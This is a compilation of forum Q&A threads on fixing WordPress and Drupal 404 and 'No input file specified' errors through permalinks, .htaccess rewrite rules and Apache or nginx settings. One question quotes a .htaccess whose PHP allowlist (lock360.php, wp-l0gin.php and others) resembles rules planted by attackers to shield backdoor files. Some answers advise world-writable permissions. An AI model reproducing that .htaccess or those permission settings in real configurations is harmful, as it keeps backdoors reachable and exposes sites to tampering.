I am working on this site Backend works fine. IN the front end none of the other pages are displayed except index page. the error come "No input file specified"
Thanks for your help
In my case it was the presence of a file named .user.ini
Just deleted it.
This is a problem with your .htaccess file.
The fix:
Update to the latest WordPress. There is a permalink bug in some installations.
Make sure Apache is configured properly for ModRewrite.
From Support: On Options > Permalinks, is a section "Optional". It's not SO optional. After upgrading it mentioned for category's index.php/file (I've got the PATHINFO permalinks), I don't want "files" so I altered that to index.php/ Now that I've changed to index.php/_/ (or leave it blank which gives the standard "Category" subpath), its all working again. Here is the Mod Rewrite file:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
I got the same error.
On this server i have some about 70 WP instalation.
Whit one i got the same problem.
FIX - CTRL + F5 a few times ... and it works!
Check your PHP version! I update my php from 5.4.45 to 7.2.14 and my wordpress pulled up
In my case it turned out to be bad permissions / ownership on the public_html files. The error message is really not very helpful.
There are any number of reasons that you could get the "no input file specified" error on WordPress.
In my case, it was because I was using php-fpm and I had specified the docroot incorrectly in the php-fpm pool configuration file. But that would probably be more likely to cause it for all pages, not just the front end pages.
In other cases, it might be a problem with either the Apache vhost configuration or the .htaccess as others have suggested.
File permissions also makes sense. Here's a link with more info on that in the nginx context: https://blog.martinfjordvald.com/2011/01/no-input-file-specified-with-php-and-nginx/
If it's related to permalinks, you may be able to go to the Permalinks section in the backend and rebuild those (as long as .htaccess is writable by your web server user).
Basically, I think the error is just saying "For some reason, I can't find the file that you are asking me to look for." But it isn't given the standard 404 ErrorDocument that Apache would give so it is confusing.
According to this answer on StackOverflow, this only happens when PHP is running under CGI or FastCGI: https://stackoverflow.com/a/14578219/263877. That's why it was unfamiliar to me, since I was used to mod_php.
I had this issue and it ended up being an issue with my php configuration. After rebuilding the php.ini, my site then pulled up.
I also had the same issue after a migration from a WordPress to a new wordpress (website recreated completely)
I’ve made a migration of the datas wth wp-migrate-pro.
iTheme Security was installed on the older WordPress ans was not deactivated. So the migration ended up with this error message.
I start all over again (and deactivated iTheme Security before the migration of the datas with wp-migrate-pro)
Related
After successful login, I can't access any of the page (I can't create new post, I can't edit post, I can't create page, I can't access any page on the left sidebar) on the admin panel, they all show 404 error. I have checked the .htaccess but it's alright. I can't access the permalink page cause it will show 404 error.
All these were working till when I tried accessing it yesterday.
.htaccess file
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
#BlackPearl i tried to reach out, several times, and help you debug your your website but you didn't respond back. I was going to help you avoid going through the "shotgun approach" and trying every possible combination that you either find online or people throw at you.
Anyway, speaking from experience, this would usually happen due to one primary reason, and that is obsolete themes and/or outdated plugins. Obsolete themes and plugins would loose their compatibilities with newer versions of wordpress over time and cause all sorts of nasty errors. Sometimes this happens because servers and host companies migrate to a newer version of PHP which doesn't support those outdated themes and plugins functionalities.
having said that, i'd try to do the following steps to debug it:
First thing i'd try is to switch themes. I'd switch my current theme to one the wordpress default themes.
In your wp-config.php try to change your "DB_CHARSET" to only "utf".
Sometimes files get corrupted for some reasons, so try to see if the index.php file located in your wordpress core root folder has the proper content. Not the one in the root folder of your theme, the other one that is located in the same directory as the wp-admin folder is located.
Try to clear your WordPress cache. If you are using one of the caching plugins on your site, then clear your plugin cache.
See if there are extra spaces at the top and/or at the bottom of your functions.php file. If so, then remove those extra spaces.
Try to increase your memory limit, specially if your wordpress site uses graphical/image related plugins.
In your wp-config.php file, define( 'WP_MEMORY_LIMIT', '256M' );
Make sure your /wp-admin/ folder doesn't contain any .htaccess files
Delete, if there is any.
If the problem persists...
Make sure the mod_rewrite is enabled
How to check whether mod_rewrite is enable on server?
Enable the mod, restart apache.
If the problem persists...
Check if .htaccess is allowed in Apache config
Go find your Apache config
Make sure the AllowOverride directive is set to All and within <Directory /var/www/your/dir/where/wp/is>:
Remember to restart Apache.
If the problem persists...
Delete .htaccess and reset permalinks
Go to /wp-login.php and login.
Settings -> Permalinks -> Save. (WP will automatically recreate your .htaccess again).
If you cannot get to the permalinks page do it programmatically, add the snippet to functions.php:
add_action( 'init', function () {
flush_rewrite_rules( true );
}, 99 );
Refresh the page... Now your .httacces is recreated. Remove the code from functions.php.
if the problem persists...
Try disabling plugins.
Rename the folder wp-content/plugins to _plugins, for example.
Refresh the page. Now your plugins are disactivated.
If the problem is gone, enable plugins 1 by 1 until the problem occurs again. That's how you find the faulty plugin.
I see you are denying php files. If you have plugin that is overwriting your htaccess file disable it. Or edit current htaccess file and change
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
to
<FilesMatch ".(py|exe)$">
Order allow,deny
Deny from all
</FilesMatch>
If you still cant access your website replace current htaccess with default one for testing.
# BEGIN WordPress
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
I would disable all plugins by renaming their folders using ftp (or ssh). That way you can rule out the plugins being an issue. If that fixes the problem, turn the plugins back on one by one until it breaks. Then, if you post the name of that plugin you (we) can look through its code and see what's going on.
Within your admin control panel, go to Tools -> Site Health. Look for problems there that may indicate what the problem is.
Sometimes, for example, you'll see that the REST API has an error. This happens when a plugin or theme has incorrect code which breaks the proper response for an API call. This breaks editing things like Pages/Posts/other Custom Post Types.
To resolve, try disabling all your themes. A quick way to do this to SFTP into your server and rename the wp-content/plugins directory to something like plugins-renamed. Then reload any admin page. Then rename it back. All of your plugins will be disabled and you can re-enable them one at a time, while checking the Site Health page to see if the problem returns.
Also try activating a different theme to see if that fixes it.
I think,You have been hacked.
Check config file it must have some gibberish code which breaks php execution.
Restore your database or atleast check it.
check how many users you have. Do you have any user as admin. Try login with that user.
Check your files. Try to restore from backup.
Check your unix files setting may be some file s need execute permission.
https://www.malcare.com/blog/wordpress-file-permissions/
Upgrade your php version to the latest version and it will kick back to life. WordPress can get glitchy when you're not using the supported version of PHP.
PHP requirements for WordPress
In my case, just the WordPress Plugins page was displaying a 404, and other pages I tried worked fine. It turned out the permissions for the file wp-admin/plugins.php were set to 666 whereas nearly all other files had 644 permissions. Changing the permissions to 644 fixed the issue. I did this using the cPanel File Manager.
A 404 error indicates that your browser can’t locate the page you’re trying to access. The exact message can look a bit different depending on the browser you’re using. The first step to try is resetting your permalinks. Head to your WordPress dashboard and navigate to Settings > Permalinks. From here, just click on Save Changes. That’s right — you don’t actually need to edit anything. Clicking that button will update the permalink settings even if you don’t make any changes.
Getting started with a droplet on Digital Ocean, so far it's been a fun process. Now I want to begin migrating my site, so I set everything up and created an index.php to where to my root dir as a "construction" page for now. I'm setting up WordPress in a sub-dir and moved all of the contents via all-in-one WP Migration which has always worked perfectly for me.
I've given every dir and file inside of root/public_html (WordPress installation) rwx and atm ownership has been changed to www-data. So I got to loadup my site which atm would be something like <ip address>/public_html and I log in and I am propmted with the wp-admin screen. Everything is working, media files are uploaded, theme is there etc.
When I go to my home page, all the images load but I immediately notice the admin bar at the top, the wp-glyphs aren't loading and I'm getting those weird squares when your computer/phone doesn't know what it's trying to look at. Also any front-end page other than my home returns a 404. My homepage again is accessed by <ip address>/public_html so you would think my about page would be <ip address>/public_html/about, which is where WordPress is sending me to when clicked, but I receive a 404.
I've spent probably 4-5 hours now trying to figure this out and eventually turned to a guide that walks you through it but nada so far.
Can anyone offer a suggestion?
EDIT
I'd like to add that I followed WordPress's instructions on modifying the .htaccess file. I'm assuming it goes in the subdirectory correct?
.htaccess
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /public_html/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /public_html/index.php [L]
</IfModule>
Just as a reference for myself and anyone who might stumble upon this.
Solution
The answer was that apache was not configured correctly to read .htaccess files. If you are experiencing the same problems and have set up your own VPS, go to apache.conf, etc/apache2/apache.conf and find the correct <Directory></Directory> directive that corresponds with your website directory. Inside you should see an option that reads AllowOverride None. Change this to AllowOverride All.
If this is not the solution for you, at least it's another step out of the way.
Are you able to access wp-admin
If yes then go to dashboard->setting->permalinks
and update the permalink and the problem solved
Access your dashboard by logging in wp-admin then access settings then permanent links, Change them to any of the provided styles save the change it again to your preferred one. This will work well.
I have been using the Wordpress REST plugin WP-API for months now while developing locally with XAMPP. I recently migrated my site to an EC2 instance and everything is working fine except I now get a 404 with the following message whenever I try to access any endpoint on the API:
The requested URL /wordpress/wp-json/ was not found on this server
Pretty permalinks are enabled with the following structure http://.../wordpress/sample-post/ which works fine when navigating to a specific post in the browser.
Here are some details about my setup:
Wordpress 4.4.1
Not a Multisite
WP REST API plugin 2.0-beta9
Apache 2.2.22
Ubuntu 12.04.5
Any help would be greatly appreciated as I have gone through SO and the WP Support forums for several hours and am out of ideas. Thank you!
UPDATED NEW WAY
I also faced similar problem in a local project. I used index.php after my project url and it worked.
http://localhost/myproject/index.php/wp-json/wp/v2/posts
If it displays a 404 error then update permalinks first (see "Paged Navigation Doesn't Work" section
If it works, maybe you need to enable mod_rewrite, on ubuntu:
a2enmod rewrite
sudo service apache2 restart
Installation
The REST API is included in WordPress 4.7! Plugins are no longer required, just install the latest version of WordPress and you're ready to go.
If you're before 4.7:
Download plugin from here: http://v2.wp-api.org/
install and activate it.
Usage
To get all posts:
www.mysite.com/wp-json/wp/v2/posts
For the search functionality, searching for test post looks like this:
/wp-json/wp/v2/posts?filter[s]=test
I had this problem with the latest WordPress 4.7+. In my case the REST API only worked after I changed the permalinks setting to something other than "Plain", which was the default setting for my installation.
On WPEngine and WP 4.9.2 I only had to update permalinks to get fresh, newly installed site to return v2 API calls. What I did:
Create site
Browse to http://yoursitename.wpengine.com/wp-json/wp/v2/posts
get 404
Go to admin, settings, permalinks, choose "Post Name"
Click "Save Changes"
Browse to http://yoursitename.wpengine.com/wp-json/wp/v2/posts
success. page displays JSON response
It turned out to be a problem with the Apache configuration.
First, I deleted the .htaccess file in the root wordpress directory.
Next, I navigated to /etc/apache2/sites-enabled and opened 000-default
All of the AllowOverride variables were set to None, which I replaced with All.
That did the trick!
It is the file permission error, apply the following solution:
Edit this file /etc/apache2/apache2.conf
Change /var/www/ Permissions from "None" to "All"
Restart the apache2 server.
First you've to Check if the WordPress REST API is enabled or not
The best way to check is to visit this URL: https://yoursite.com/wp-json.
If you see some JSON response, REST API is enabled.
If it’s showing some error page or returns to home page, REST API is not enabled. Then we've to enable it first.
In this case, you've to Enable Permalinks
Visit your page's admin page (Visit https://yoursite.com/wp-json)
settings > Permalinks (visit https://yoursite.com/wp-admin/options-permalink.php)
Make sure Plain is not selected
Choose Post Name (it's a best one)
Then click on Save Changes. That will rewrite/repair your .htaccess
Please see the helping screenshots below:
Source
I solved this issue through following steps:
Navigate to ..\Apache24\conf\httpd.conf and search for LoadModule rewrite_module modules/mod_rewrite.so.
Enable rewrite module by removing the # mark.
Replace all the cases of AllowOverride None to AllowOverride All.
Don't forget to restart apache server. :)
Adding "AllowOverride All" (as hinted by other authors before) to my apache virtual host configuration on my Ubuntu server via SSH did the trick for me:
sudo vi /etc/apache2/sites-available/my-website-name.com.conf
and also (if you use letsencrypt):
sudo vi /etc/apache2/sites-available/my-website-name.com-le-ssl.conf
The files should then look like:
<VirtualHost *:80>
# or <VirtualHost *:443> for the SSL configuration
# [...]
DocumentRoot /var/www/my-website-name.com/public_html
<Directory "/var/www/my-website-name.com/public_html">
# this allows .htaccess files (e.g. generated by Wordpress)
# to overwrite the apache configuration on a directory basis:
AllowOverride All
</Directory>
# [...]
</VirtualHost>
Don't forget to disable and re-enable the site and reload apache to apply the new configuration:
sudo a2dissite my-website-name.com.conf
sudo a2dissite my-website-name.com-le-ssl.conf
sudo a2ensite my-website-name.com.conf
sudo a2ensite my-website-name.com-le-ssl.conf
sudo service apache2 reload
I had to manually make a .htaccess, set it to chmod 664, and copy the permalink rules into it.
I also played around with
Settings > Permalinks
Manually updating .htaccess via the code at the bottom of the permalinks page after clicked "Save"
Adding "index.php" as one of the other answers suggests
Making sure mod rewrite was enabled via a2enmod
I found that mysite/wp-json/ was not working, but mysite/?rest_route=/ was normal. This was breaking some, but not all, the REST API features used on my site.
The answer to this turned out to be a recent change to how I was running my server. This had broken REST API but this was not apparent until later.
I had changed this domain from using Apache to using nginx, and I had not correctly transferred the .htaccess customisations. The quick solution to this problem was therefore to change back to using Apache. This restored the site to working order immediately.
I will be changing this domain back to nginx in the future but when I do, I will test it and be careful not to affect the REST API.
I had moved the WordPress install from a subdirectory to another, so in my case the problem was due to the WordPress config in the .htaccess files. It was trying to redirect every page but the homepage to the old directory. It was just a matter of updating olddir to newdir...
This tripped me up more than once so I thought I'd put it here...
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /olddir/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /olddir/index.php [L]
</IfModule>
# END WordPress
I faced the same problem when I migrated my site from cPanel to Google Cloud Compute Engine Instance; problem was of file permissions which was initially caused due to difference in PHP versions of current deployment from previous deployment.
Here is the fix How to deal with GCP WordPress error "This page isn’t working example.com is currently unable to handle this request. HTTP ERROR 500
If you website is https://example.wordpress.com (on wordpress) for example, use the below link which will give you the JSON response irrespective of any API settings/Permalinks etc..
https://public-api.wordpress.com/rest/v1.1/sites/example.wordpress.com/posts
If you want to see all the available endpoints use this -
https://developer.wordpress.com/docs/api/console/
Remember to replace **$site** with your domain
Find the latest documentation here -
https://developer.wordpress.com/docs/api/
If you are on Windows OS change the Permalink Settings as follows:
Custom structure: /index.php/%postname%/
I was facing same issue on localhost and I solved this issue with just set RewriteBase Path in .htaccess file which is available at root folder of WordPress project setup.
**Example:**
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /[folder-name]
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /[folder-name]/index.php [L]
</IfModule>
If you have tried the other solutions on this page and they haven't worked, I had success with checking for additional .htaccess files in the root folder above your public_html folder (or wherever you have installed WordPress).
I found an extra one which may have come from a previous installation or been accidentally moved there - it was giving conflicting instructions to the 'real' .htaccess file. Deleting it fixed the problem for me.
For me on new website I didn't had Nginx pretty links setting enabled I add this tolocation / block
try_files $uri $uri/ /index.php?$args;
Try to remove any
order deny,allow
deny from all
allow from ...
from you .htaccess.
I read through a whole bunch of articles and eventually discovered there was a force site to be https plugin installed and activated on my local, however there is no certificate set up. It was making the requests for https when I should have had the https plugin deactivated.
Once deactivated, I was able to make connections to REST API.
Not a very in depth answer but it is was my answer. Hope this saves someone some time!
On WordPress 6
You can use this URL and no need for URL Rewrite and no need to change your Permalink settings (I saw Gutenberg editor is using this URL to access REST)
http://example.com/index.php?rest_route=/wp/v2/posts
All of a sudden I go to my WordPress website and all the pages give me a 404 page not found page. I'm assuming the problem lies with the permalink structure, which I could swear I did not touch. The permalink setting is on "month and name."
I've researched similar instances of this problem online and a lot of it has to do with the .htaccess file? I tried finding, but I can't. Perhaps it got deleted somehow? Where is it supposed to be located.
Any suggestions will be helpful
and of course I can see hidden files.
.htaccess is a hidden file, so you must set all files as visible in your ftp.
I suggest you return your permalink structure to default ( ?p=ID ) so you ensure that .htaccess is the problem.
After that, you could simply set "month and name" structure again, and see if it works.
PS: Have you upgraded to 3.1? I've seen some people with plugin issues in this case.
Basically the .htaccess file should exists and the httpd.conf should be correct.
In my case, I changed the file /etc/apache2/apache2.conf in section:
<Directory "/var/www/html">
Line changed is:
AllowOverride None
to
AllowOverride All
And restart the web server with
systemctl restart apache2
Fixing that problem is very simple if you was using permalinks other than the default such as Day and name, Month and name, Numeric, Post name or Custom Structure, you only need to
Login to your admin area: Settings > Permalinks which should be : http://yoursite.com/wp-admin/options-permalink.php
Choose Default permalink setting, then save changes
Then you can return it again to your other previous permalink choice or keep it as default as yo wish
Note that this problem can happen when you move your site from a domain or location to another one.
If the default behavior (example.com/?p=42) is working, you should:
Change to your preferred permalink style: Admin: Settings > Permalinks, and click Save. Sometime it fixes the issue. If it didn't:
Verify that the file /path/to/wordpress/.htaccess has been changed and now includes the line RewriteEngine On. If it doesn't include the line, it's a Wordpress permissions issue.
Verify that the 'rewrite' module is loaded: create a PHP file with
<?php
phpinfo()
?>
in it, open it in the browser and search for mod_rewrite. It should be in the 'Loaded Modules' section.
If it's not, enable it - Look at your apache default index.html file for details - in Ubuntu, you do it with the helper a2enmod.
Verify that apache server is looking at the .htaccess file. open httpd.conf - or it's Ubuntu's alternative, /etc/apache2/apache2.conf. In it, You should have something like
<Directory /path/to/wordpress>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
After making these changes, don't forget to restart your apache server. sudo service apache2 restart
IF all this dont work, your .htaccess is correct, and permalinks trick didnt work, you may have not enabled your apache2 rewite mod.
I ran this and my issue was solved:
sudo a2enmod rewrite
Within the WordPress admin interface do the following:
Go to admin setting
Click on permalink and select post name in radio button.
Scroll down and you will see .htaccess code here like.
<IfModule mod_rewrite.c>
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /wordpress/index.php [L]
</IfModule>
Copy the code and paste in the .htaccess file.
This error is causing due to disabled of rewrite mod in apache httpd.conf document ,just uncomment it and enjoy the seo friendly permalinks
Check that the directory on .htaccess are the correct
Check the fields "siteurl" and "home" are the correct
We had the same problem and solved it by checking the error.log of our virtual host. We found the following message:
AH00670: Options FollowSymLinks and SymLinksIfOwnerMatch are both off,
so the RewriteRule directive is also forbidden due to its similar
ability to circumvent directory restrictions :
/srv/www/htdocs/wp-intranet/
The solution was to set Options All and AllowOverride All in our virtual host config.
If you have FTP access to your account:
First, login to your wp-admin and go to Settings > Permalinks
You should see something at the bottom that says:
"If your .htaccess file were writable, we could do this automatically, but it isn’t so these are the mod_rewrite rules you should have in your .htaccess file. Click in the field and press CTRL + a to select all."
If this is true do the following:
Go into preferences for your FTP client and make sure hidden files are displayed (varies depending on your FTP client) - If you don't do this you won't be able to find your htaccess file
Go to the folder that your wp-admin, wp-content, wp-includes directories are located. Check for .htaccess file. If it exists skip to step 4
If it does not exist, create a new blank file in your FTP program called .htaccess
Change the CHMOD for your .htaccess file to 666 (your preference on how you want to do this)
Go back to your Permalinks page and edit the link structure you want. Problem should be solved!
Make sure to change the chmod of the htaccess file back to 644 after you are done.
Just had the same problem and it seemed to fix it instantly! Good luck!
Most of the time this issue is fixed by simply visiting the Settings -> Permalink page in the WordPress admin and click Save (as several other answers already pointed out). When this page is accessed, WordPress rewrites the directives in the .htaccess file which magically fixes the issue. The issue often happens after moving a site (the site breaks because the .htaccess gets left behind or the settings need to be updated).
If WordPress doesn't have the right permissions to write the .htaccess file, a notice will appear at the top of the page and further instructions at the bottom when the settings are saved. In this case you need to edit the .htaccess file yourself or, better, to fix the permissions on that file. The file is at the root of the WordPress installation. cd into the directory and sudo chmod 644 .htaccess. You might also want to check if the file belongs to the right group and change that is needed with chown. Ask your hosting provider if you don't know how to do that.
If you are on shared hosting that's probably all you can do. If you still have the issue you might want to talk to you hosting provider's support. Otherwise, make sure the use of .htaccess files is enabled on the server, as #georgeos already suggested. Note that httpd.conf is not always used (Ubuntu indicates it is deprecated but the official Apache docs still says it is often the main configuration file). /etc/httpd/conf/httpd.conf and /etc/apache2/apache2.conf seem to be the most common places for this file. Find the block for the public folder, usually <Directory /var/www/> and make sure that the AllowOverride directive is set to All. If it is set to None, your .htaccess file is simply ignored by the server.
I installed mod_rewrite to fix the issue. Below link provides an installation guide:-
http://www.iasptk.com/enable-apache-mod_rewrite-ubuntu-14-04-lts/
You may have .htaccess disallowed in webhost settings.
Setting to default permalinks would work in that case.
Before trying to do any permalink or server config changes, please check you .htaccess file. This mostly is a corrupt or blank .htaccess file issue. Reset the htaccess file to the default
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
Case 1:- Let us think if migrate site from one hosting to another hosting if see this kind of issue.
Solution:- Simply go to old server copy .htaccess file code, then past in new server .htaccess file. 99% it i will works.
If your WordPress installation is in a subfolder (ex. https://www.example.com/subfolder) change this line in your WordPress .htaccess
RewriteRule . /index.php [L]
to
RewriteRule . /subfolder/index.php [L]
By doing so, you are telling the server to look for WordPress index.php in the WordPress folder (ex. https://www.example.com/subfolder) rather than in the public folder (ex. https://www.example.com).
after 2 long days,
the solution was to add options +FollowSymLinks to the top of my .htaccess file.
I have the same problem and so I remove the Apache and make it again and the problem was solved.
Just Navigate to Settings->Permalink in your dashboard and then Save Changes button in the last.\
I just changed the permalink to 'month and day'of all the posts by ging to setting>permalink.
Now all posts are open and working fine.
Again, I renamed to all posts to its actual permalink. Its again working fine.
This method worked for me :-)
For nginx users
Use the following in your conf file for your site (usually /etc/nginx/sites-available/example.com)
location / {
try_files $uri $uri/ /index.php?q=$uri&$args;
}
This hands off all permalink requests to index.php with a URI string and supplied arguments. Do a systemctl reload nginx to see the changes and your non-homepage links should load.
Go to your WordPress Dashboard, scroll down to settings, select Permalink,
in custom settings that appear, go to custom structure and replace the text in the text field with
/index.php/%year%/%monthnum%/%day%/%postname%/
and then save changes
Wanted to share my two cents. Recently came accross that very same issue installing WordPress 5.9. Year 2021.
Configuration:
Platform MAC, Software XAMPP, WordPress 5.9
None of the previous answer did it for me.
The issue was due to the fact that files permissions accross the XAMPP folder were set to "Read only".
Locate the XAMPP folder. (Usually in the Applications folder).
Right click XAMPP folder.
Get info.
Bottom right unlock button → Follow instructions.
Sharing and permissions → Everyone → Read & Write.
Bottom left three dots button → Apply to enclosed items.
This scenario can also be caused by a database version that's out of sync with the WP files installed on server. Nothing else listed here worked for me; I solved it with a manual WP update.
I had this issue not so long ago. I had reset my permalink to default or just saved it, updated themes/core to (4.7.4)/plugins, deactivated all plugins, switched to default theme, optimized database, .htaccess is already default, checked file permissions, mod_rewrite is on.
So far nothing works, what works are the posts, new page, the /contact page EXCEPT for old pages.
Basically, the pages/URLs that aren't working are:
/breeding
/training
/training/*
/breeding/*
Ultimate, I found these files in the root folder:
/breeding.php and /training.php
I renamed both files and the pages above worked.
hi i am getting a strange error in my drupal website "Page not Found" when i click on Login page.I have no idea why this error is comes.
please let me know what may be the result.(this is error is only on two pages My Account Page and login page ,rest other pages are working fine).
Things to try:
Rebuild the menues by loading admin/build/modules
Clear the cache via admin/settings/performance
Rebuilt permissions admin/content/node-settings
unless you have some kind of advanced setup (memcache, authcache, varnish, that kind of stuff) one of these should do the trick.
I had a similar problem where would say
index.php was not found on this server
and it turned out to be my .htaccess file was not configure to serve drupal from a subdirectory. Only the webroot.
This thread helped:
http://drupal.org/node/1585672?mode=2&sort=2
Basically I just had to edit RewriteBase on my .htaccess file to contain the value of my subdirectory.
So for example, if I'm serving drupal from here:
http://example.com/drupal/
Then I have to change the RewriteBase value in my .htaccess file to:
RewriteBase /drupal
At the beginning, I'd like to clarify that I use localhost to support Drupal.
racl101 actually give the proper answer. Here I present my specific solution based on what racl101 gives us:
Go to .htaccess
sudo nano .htaccess
Find RewriteBase in .htaccess (as my drupal url is localhost/~MyName/drupal/ )
I uncomment RewriteBase and change it to RewriteBase /~MyName/drupal/
Then it works. Good luck!